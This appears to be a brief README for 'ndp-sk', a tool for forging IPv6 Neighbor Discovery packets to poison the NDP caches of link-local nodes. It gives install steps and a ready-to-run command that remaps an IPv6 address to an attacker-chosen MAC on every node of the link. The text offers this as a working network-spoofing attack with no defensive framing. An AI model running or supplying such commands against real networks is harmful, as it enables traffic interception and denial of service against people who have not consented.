ndp-sk is a swiss army knife tool that allows you to forge ipv6 neighbor discovery packets in order to corrupt/manipulate ndp cache of link local nodes.
ndp-sk uses libnet with its ipv6 support, a system-independent packet forging library.
$ tar xzvf ndp-sk-0.01.tar.gz
# make install
# ndp-sk -r -t 2001::dead -T de:ad:0:0:be:ef
This command will update neighbor cache of all link local nodes by changing 2001::dead ipv6 address to correspond with de:ad:0:0:be:ef.
